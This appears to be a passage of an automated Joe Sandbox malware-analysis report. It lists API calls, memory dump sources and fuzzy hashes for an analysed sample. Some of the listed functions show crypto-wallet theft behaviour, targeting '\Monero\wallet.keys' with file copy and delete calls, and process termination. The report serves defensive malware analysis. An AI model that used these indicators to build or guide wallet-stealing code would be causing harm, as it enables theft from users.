Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: b867011ada102f0a6dd7adab6d52682c3940130650134c18adc4404b72b37e02
Instruction ID: a20293f08610a1328d7b4cbf74c2140c31883526b956f2f746b570be694a5e66
Opcode Fuzzy Hash: b867011ada102f0a6dd7adab6d52682c3940130650134c18adc4404b72b37e02
Instruction Fuzzy Hash: D721E7B1A44308ABDB04DF98DD49FAEBBB8FB48B11F104159F645E7390C779A9018BA1

Function 00B08D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00B0951E,00000000), ref: 00B08D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00B08D62
wsprintfW.USER32 ref: 00B08D78

Strings

%hs, xrefs: 00B08D6F

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: c9684378fdd74260710f2f21a88ab1557c827535795ca0ddd70232694ddf938e
Instruction ID: 2d9035450ceaabb699b645428d19c7343c04a2bb1187168be2e43b5797207cee
Opcode Fuzzy Hash: c9684378fdd74260710f2f21a88ab1557c827535795ca0ddd70232694ddf938e
Instruction Fuzzy Hash: 88E08CB0B40308FBC700DB98DC0EE69B7B8EB04702F000194FD4AC7380DA719E009BA2

Function 6CAF0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAF0CD5

Part of subcall function 6CADF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CADF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAF0D40
free.MOZGLUE ref: 6CAF0DCB

Part of subcall function 6CAC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAC5EDB
Part of subcall function 6CAC5E90: memset.VCRUNTIME140(6CB07765,000000E5,55CCCCCC), ref: 6CAC5F27
Part of subcall function 6CAC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAC5FB2

free.MOZGLUE ref: 6CAF0DDD
free.MOZGLUE ref: 6CAF0DF2

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 4a7788dd11f92ccc7e62cd2a137764683d08fe579ee2fa7f29e93d2bfc80511c
Instruction ID: e43ec56b272d0f45b1729fe89fb6b8f29178252ad4c3f3973f56e828c7ae4285
Opcode Fuzzy Hash: 4a7788dd11f92ccc7e62cd2a137764683d08fe579ee2fa7f29e93d2bfc80511c
Instruction Fuzzy Hash: 834119759097808BD320CF29C1407AEFBE5BFC5714F158A2EE8E887751D7709589CB92

Function 6CAFCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFCDA4

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

Part of subcall function 6CAFD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CAFCDBA,00100000,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFD158
Part of subcall function 6CAFD130: InitializeConditionVariable.KERNEL32(00000098,?,6CAFCDBA,00100000,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFCDC4

Part of subcall function 6CAF7480: ReleaseSRWLockExclusive.KERNEL32(?,6CB015FC,?,?,?,?,6CB015FC,?), ref: 6CAF74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFCECC

Part of subcall function 6CABCA10: mozalloc_abort.MOZGLUE(?), ref: 6CABCAA2

Part of subcall function 6CAECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CAFCEEA,?,?,?,?,00000000,?,6CAEDA31,00100000,?,?,00000000), ref: 6CAECB57
Part of subcall function 6CAECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CAECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CAFCEEA,?,?), ref: 6CAECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CAEDA31,00100000,?,?,00000000,?), ref: 6CAFD058

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 7d35794aa7c2558f7f09fc30e6a1b2a64362917bb8887561bd86104eea4a3435
Instruction ID: d56dd8e1df0893bcb2ac81d68c2c1065b145c4562b1314ecaf1262555b096b6a
Opcode Fuzzy Hash: 7d35794aa7c2558f7f09fc30e6a1b2a64362917bb8887561bd86104eea4a3435
Instruction Fuzzy Hash: 66D17071A04B469FD719CF28C580799F7F1BF89308F05862DE86987711EB31A9A5CBC1

Function 00AFD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,0076D9F0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFD481
lstrlen.KERNEL32(00000000), ref: 00AFD698
lstrlen.KERNEL32(00000000), ref: 00AFD6AC
DeleteFileA.KERNEL32(00000000), ref: 00AFD72B

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c7d35d4f9ea7c2c7dd760b3e9c8f7ce9f46d4a349390699e9c1b27502b5226f5
Instruction ID: 790e39ab6a7869ce0368436a4c43df8bd94aa928f556a07b1e9b37f3c6ebe380
Opcode Fuzzy Hash: c7d35d4f9ea7c2c7dd760b3e9c8f7ce9f46d4a349390699e9c1b27502b5226f5
Instruction Fuzzy Hash: FF91F1729103089BDB04FBA4DD96EEE77B8AF14300F508999F507B61D1EF346A49CB62

Function 6CAC5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAC5D40
EnterCriticalSection.KERNEL32(6CB2F688), ref: 6CAC5D67
__aulldiv.LIBCMT ref: 6CAC5DB4
LeaveCriticalSection.KERNEL32(6CB2F688), ref: 6CAC5DED

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: c6242552e326d19edebba441a5edba08bf6921bb0b09da126b2e9ebac06e6869
Instruction ID: 7d9f6f313bd0d48306486eec5dadf12386f573e7279121f73d2b8ee439620b94
Opcode Fuzzy Hash: c6242552e326d19edebba441a5edba08bf6921bb0b09da126b2e9ebac06e6869
Instruction Fuzzy Hash: 95517E71F002698FCF09CFA8C954BBEBBB2FB89304F198A19D815A7750C7346985CB91

Function 6CAACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CAACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CAACF4E

Strings

0, xrefs: 6CAACF30

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: d153a642da7e5cf3acbbe975ee30881bc86c478a04cbfbb82d85080a4b4a1590
Instruction ID: 255315422e7cb2cf8c543a75388a17c282bc3d49a0bfb18a5fa7c4d81efa4bdc
Opcode Fuzzy Hash: d153a642da7e5cf3acbbe975ee30881bc86c478a04cbfbb82d85080a4b4a1590
Instruction Fuzzy Hash: F2512171A042568FCB00CF18C890AAAFBB5EF99304F19819DD8595F752E732ED46CBE0

Function 00B03560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: c20a07a64878410d4e2f844ecb42a8bc7eac9119344c1276752291ba538f0b3f
Instruction ID: d80042e560cb8793ac15bd3de7c4eacb8af984094b968bd7e6e2015456055efb
Opcode Fuzzy Hash: c20a07a64878410d4e2f844ecb42a8bc7eac9119344c1276752291ba538f0b3f
Instruction Fuzzy Hash: F9414F71D14209ABCB04EFA4D889AFEBBF8AF54704F008458E516762D0DB75AA45CFA2

Function 6CAE6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAE82BC,?,?), ref: 6CAE649B

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE64A9

Part of subcall function 6CADFA80: GetCurrentThreadId.KERNEL32 ref: 6CADFA8D
Part of subcall function 6CADFA80: AcquireSRWLockExclusive.KERNEL32(6CB2F448), ref: 6CADFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAE653F
free.MOZGLUE(?), ref: 6CAE655A

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: bf250a3fe67b5987f66f61a5315489c00f0dcefdf0bbdcb7d958ff26246ee5e3
Instruction ID: 107b6b41ae2ca332a7ffe51657e877ff26fe84002ed58a0baebd7999e3d40a00
Opcode Fuzzy Hash: bf250a3fe67b5987f66f61a5315489c00f0dcefdf0bbdcb7d958ff26246ee5e3
Instruction Fuzzy Hash: E1318DB5A043459FC700CF24D980A9EBBF4BF89314F00482EE89A97741DB34E949CBD2

Function 00B094D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00B094EB

Part of subcall function 00B08D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00B0951E,00000000), ref: 00B08D5B
Part of subcall function 00B08D50: RtlAllocateHeap.NTDLL(00000000), ref: 00B08D62
Part of subcall function 00B08D50: wsprintfW.USER32 ref: 00B08D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00B095AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00B095C9
CloseHandle.KERNEL32(00000000), ref: 00B095D6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 148d8441d657835968bdd4ad9388f87218958f9b413a6c240d65d42ace4892ac
Instruction ID: 23eb5d9cad698898b30bd81c997c94f8d7711cc1ac047b7e9010d44e910b2f8e
Opcode Fuzzy Hash: 148d8441d657835968bdd4ad9388f87218958f9b413a6c240d65d42ace4892ac
Instruction Fuzzy Hash: CA313CB1A00308AFDB14DBD4CD89BEDBBB8FB54700F104459E506AA2C4DB74AA89CB51

Function 6CABB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CABB4F5
AcquireSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CABB502
ReleaseSRWLockExclusive.KERNEL32(6CB2F4B8), ref: 6CABB542
free.MOZGLUE(?), ref: 6CABB578

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: a87d99ad060ce95a128c2cb6e02e0750547b02876d99241f55985cc97ee9a0cd
Instruction ID: 1fbf18ea71766478da9cce18c7328b55908b4ae3bdfeef9c7645f02eff5044c4
Opcode Fuzzy Hash: a87d99ad060ce95a128c2cb6e02e0750547b02876d99241f55985cc97ee9a0cd
Instruction Fuzzy Hash: 45110330E04B45C7D3128F29DA407B2B3B4FF96318F14970AE84A63A01EBB9B1C58792

Function 6CAE3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

